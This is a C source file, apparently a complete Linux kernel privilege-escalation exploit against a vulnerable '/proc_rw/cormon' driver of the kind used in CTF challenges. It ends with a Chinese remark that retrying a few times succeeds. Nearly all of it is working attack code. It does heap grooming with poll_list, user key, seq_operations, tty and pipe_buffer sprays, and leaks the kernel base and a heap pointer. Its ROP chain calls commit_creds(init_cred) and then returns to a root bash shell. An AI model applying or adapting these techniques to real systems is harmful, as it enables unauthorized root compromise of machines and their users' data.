#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define PAGE_SIZE 0x1000

int randint(int min, int max) {
   return min + (rand() % (max - min));
}

void bind_core(bool fixed, bool thread) {
   cpu_set_t cpu_set;
   CPU_ZERO(&cpu_set);
   CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
   if (thread) {
       pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
  } else {
       sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
  }
}

void qword_dump(char *desc, void *addr, int len) {
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
  }
   for (int i = 0; i < len / 8; i += 4) {
       printf(" %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
      }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
      }
       puts("");
  }
}

bool is_kernel_text_addr(size_t addr) {
   return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//   return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}

bool is_dir_mapping_addr(size_t addr) {
   return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}

#define INVALID_KERNEL_OFFSET 0x1145141919810

const size_t kernel_addr_list[] = {
       0xffffffff813275c0,
       0xffffffff812d4320,
       0xffffffff812d4340,
       0xffffffff812d4330
};

size_t kernel_offset_query(size_t kernel_text_leak) {
   if (!is_kernel_text_addr(kernel_text_leak)) {
       return INVALID_KERNEL_OFFSET;
  }
   for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
       if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
           && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
           return kernel_text_leak - kernel_addr_list[i];
      }
  }
   printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
   return INVALID_KERNEL_OFFSET;
}

size_t search_kernel_offset(void *buf, int len) {
   size_t *search_buf = buf;
   for (int i = 0; i < len / 8; i++) {
       size_t kernel_offset = kernel_offset_query(search_buf[i]);
       if (kernel_offset != INVALID_KERNEL_OFFSET) {
           printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
           printf("[+] kernel offset: %#lx\n", kernel_offset);
           return kernel_offset;
      }
  }
   return INVALID_KERNEL_OFFSET;
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
   __asm__("mov user_cs, cs;"
           "mov user_ss, ss;"
           "mov user_sp, rsp;"
           "pushf;"
           "pop user_rflags;");
   puts("[*] status has been saved.");
}

typedef struct {
   int nfds, timer;
} poll_args;

struct poll_list {
   struct poll_list *next;
   int len;
   struct pollfd entries[];
};

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;

void *alloc_poll_list(void *args) {
   int nfds = ((poll_args *) args)->nfds;
   int timer = ((poll_args *) args)->timer;

   struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
   for (int i = 0; i < nfds; i++) {
       pfds[i].fd = open("/etc/passwd", O_RDONLY);
       pfds[i].events = POLLERR;
  }

   bind_core(true, true);

   pthread_mutex_lock(&mutex);
   poll_threads++;
   pthread_mutex_unlock(&mutex);
   poll(pfds, nfds, timer);

   bind_core(false, true);

   pthread_mutex_lock(&mutex);
   poll_threads--;
   pthread_mutex_unlock(&mutex);
}

#define N_STACK_PPS 30
#define POLL_NUM 0x1000

pthread_t poll_tid[POLL_NUM];

void create_poll_thread(size_t size, int timer) {
   poll_args *args = calloc(1, sizeof(poll_args));
   args->nfds =
      (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
       + N_STACK_PPS;
   args->timer = timer;
   pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}

void wait_poll_start() {
   while (poll_threads != poll_cnt);
}

void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
   for (int i = 0; i < poll_threads; i++) {
       pthread_join(poll_tid[i], NULL);
       if (confuse != NULL) {
           confuse(confuse_args);
      }
  }
   poll_cnt = poll_threads = 0;
}

struct callback_head {
   struct callback_head *next;

   void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                   __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
   struct rcu_head rcu;        /* RCU destructor */
   unsigned short datalen;    /* length of this data */
   char data[0] __aligned(__alignof__(u64)); /* actual data */
};

#define KEY_NUM 199
int key_id[KEY_NUM];

int key_alloc(int id, void *payload, int payload_len) {
   char description[0x10] = {};
   sprintf(description, "%d", id);
   return key_id[id] =
       syscall(__NR_add_key, "user", description, payload,
               payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
   return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
   return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
   return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
   return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

struct list_head {
   struct list_head *next, *prev;
};
struct tty_file_private {
   struct tty_struct *tty;
   struct file *file;
   struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
   struct page *page;
   unsigned int offset, len;
   const struct pipe_buf_operations *ops;
   unsigned int flags;
   unsigned long private;
};

struct pipe_buf_operations {
   int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
   void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

void get_shell(void) {
   char *args[] = {"/bin/bash", "-i", NULL};
   execve(args[0], args, NULL);
}

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024

int cormon_fd;
char buf[0x20000];

void seq_confuse(void *args) {
   open("/proc/self/stat", O_RDONLY);
}

size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;

int main() {
   bind_core(true, false);
   save_status();
   signal(SIGSEGV, (void *) get_shell);

   cormon_fd = open("/proc_rw/cormon", O_RDWR);
   if (cormon_fd < 0) {
       perror("[-] failed to open cormon.");
       exit(-1);
  }
   
   size_t kernel_offset;
   int target_key;
   puts("[*] Saturating kmalloc-32 partial slabs...");

   int seq_fd[SEQ_NUM];
   for (int i = 0; i < SEQ_NUM; i++) {
       seq_fd[i] = open("/proc/self/stat", O_RDONLY);
       if (seq_fd[i] < 0) {
           perror("[-] failed to open stat.");
           exit(-1);
      }
       if (i == 2048) {
           puts("[*] Spraying user keys in kmalloc-32...");
           for (int j = 0; j < KEY_NUM; j++) {
               setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
               key_alloc(j, buf, 32);
               if (j == 72) {
                   bind_core(false, false);
                   puts("[*] Creating poll threads...");
                   for (int k = 0; k < 14; k++) {
                       create_poll_thread(
                           PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),
                           3000);
                  }
                   bind_core(true, false);
                   wait_poll_start();
              }
          }
           puts("[*] Corrupting poll_list next pointer...");
           write(cormon_fd, buf, PAGE_SIZE);
           puts("[*] Triggering arbitrary free...");
           join_poll_threads(seq_confuse, NULL);
           puts("[*] Overwriting user key size / Spraying seq_operations structures...");
      }
  }
   puts("[*] Leaking kernel pointer...");

   for (int i = 0; i < KEY_NUM; i++) {
       int len = key_read(i, buf, sizeof(buf));
       kernel_offset = search_kernel_offset(buf, len);
       if (kernel_offset != INVALID_KERNEL_OFFSET) {
           qword_dump("dump leak memory", buf, 0x1000);
           target_key = i;
           break;
      }
  }
   if (kernel_offset == INVALID_KERNEL_OFFSET) {
       puts("[-] failed to leak kernel offset,try again.");
       exit(-1);
  }

   push_rsi_pop_rsp_ret += kernel_offset;
   pop_rdi_ret += kernel_offset;
   init_cred += kernel_offset;
   commit_creds += kernel_offset;
   pop_r14_pop_r15_ret += kernel_offset;
   find_task_by_vpid += kernel_offset;
   init_fs += kernel_offset;
   pop_rcx_ret += kernel_offset;
   add_rax_rcx_ret += kernel_offset;
   mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
   pop_rbx_ret += kernel_offset;
   swapgs_ret += kernel_offset;
   iretq += kernel_offset;

   puts("[*] Freeing user keys...");
   for (int i = 0; i < KEY_NUM; i++) {
       if (i != target_key) {
           key_unlink(i);
      }
  }
   sleep(1);

   puts("[*] Spraying tty_file_private / tty_struct structures...");
   int tty_fd[TTY_NUM];
   for (int i = 0; i < TTY_NUM; i++) {
       tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
       if (tty_fd[i] < 0) {
           perror("[-] failed to open ptmx");
      }
  }

   puts("[*] Leaking heap pointer...");

   size_t target_object = -1;
   int len = key_read(target_key, buf, sizeof(buf));
   qword_dump("dump leak memory", buf, 0x1000);
   for (int i = 0; i < len; i += 8) {
       struct tty_file_private *head = (void *) &buf[i];
       if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
           && head->list.next == head->list.prev && head->list.prev != NULL) {
           qword_dump("leak tty_struct addr from tty_file_private", &buf[i],
                      sizeof(struct tty_file_private));
           target_object = (size_t) head->tty;
           printf("[+] tty_struct addr: %p\n", target_object);
           break;
      }
  }
   if (target_object == -1) {
       puts("[-] failed to leak tty_struct addr.");
       exit(-1);
  }

   puts("[*] Freeing seq_operation structures...");
   for (int i = 2048; i < SEQ_NUM; i++) {
       close(seq_fd[i]);
  }

   bind_core(false, false);

   puts("[*] Creating poll threads...");
   for (int i = 0; i < 192; i++) {
       create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
  }

   bind_core(true, false);

   wait_poll_start();

   puts("[*] Freeing corrupted key...");
   key_unlink(target_key);
   sleep(1); // GC key

   puts("[*] Overwriting poll_list next pointer...");
   char key[32] = {};
   *(size_t *) &buf[0] = target_object - 0x18;

   for (int i = 0; i < KEY_NUM; i++) {
       setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
       key_alloc(i, key, 32);
  }

   puts("[*] Freeing tty_struct structures...");
   for (int i = 0; i < TTY_NUM; i++) {
       close(tty_fd[i]);
  }

   sleep(1); // GC TTYs
   int pipe_fd[PIPE_NUM][2];
   puts("[*] Spraying pipe_bufer structures...");
   for (int i = 0; i < PIPE_NUM; i++) {
       pipe(pipe_fd[i]);
       write(pipe_fd[i][1], "aaaaaa", 6);
  }

   puts("[*] Triggering arbitrary free...");
   join_poll_threads(NULL, NULL);


  ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
  ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;


   size_t *rop = (size_t *) buf;

   *rop++ = pop_r14_pop_r15_ret;
   rop++;
   rop++; // ops

   // commit_creds(&init_creds)
   *rop++ = pop_rdi_ret;
   *rop++ = init_cred;
   *rop++ = commit_creds;

   // current = find_task_by_vpid(getpid())
   *rop++ = pop_rdi_ret;
   *rop++ = getpid();
   *rop++ = find_task_by_vpid;

   // current->fs = &init_fs
   *rop++ = pop_rcx_ret;
   *rop++ = 0x6e0;
   *rop++ = add_rax_rcx_ret;
   *rop++ = pop_rbx_ret;
   *rop++ = init_fs;
   *rop++ = mov_mmrax_rbx_pop_rbx_ret;
   rop++;

   // back to user
   *rop++ = swapgs_ret;
   *rop++ = iretq;
   *rop++ = (uint64_t) get_shell;
   *rop++ = user_cs;
   *rop++ = user_rflags;
   *rop++ = user_sp;
   *rop++ = user_ss;

   puts("[*] Spraying ROP chain...");
   for (int i = 0; i < 31; i++) {
       key_alloc(i, buf, 1024);
  }

   puts("[*] Hijacking control flow...");
   for (int i = 0; i < PIPE_NUM; i++) {
       close(pipe_fd[i][0]);
       close(pipe_fd[i][1]);
  }

   sleep(5);

   return 0;
}

多试几次还是可以成功的。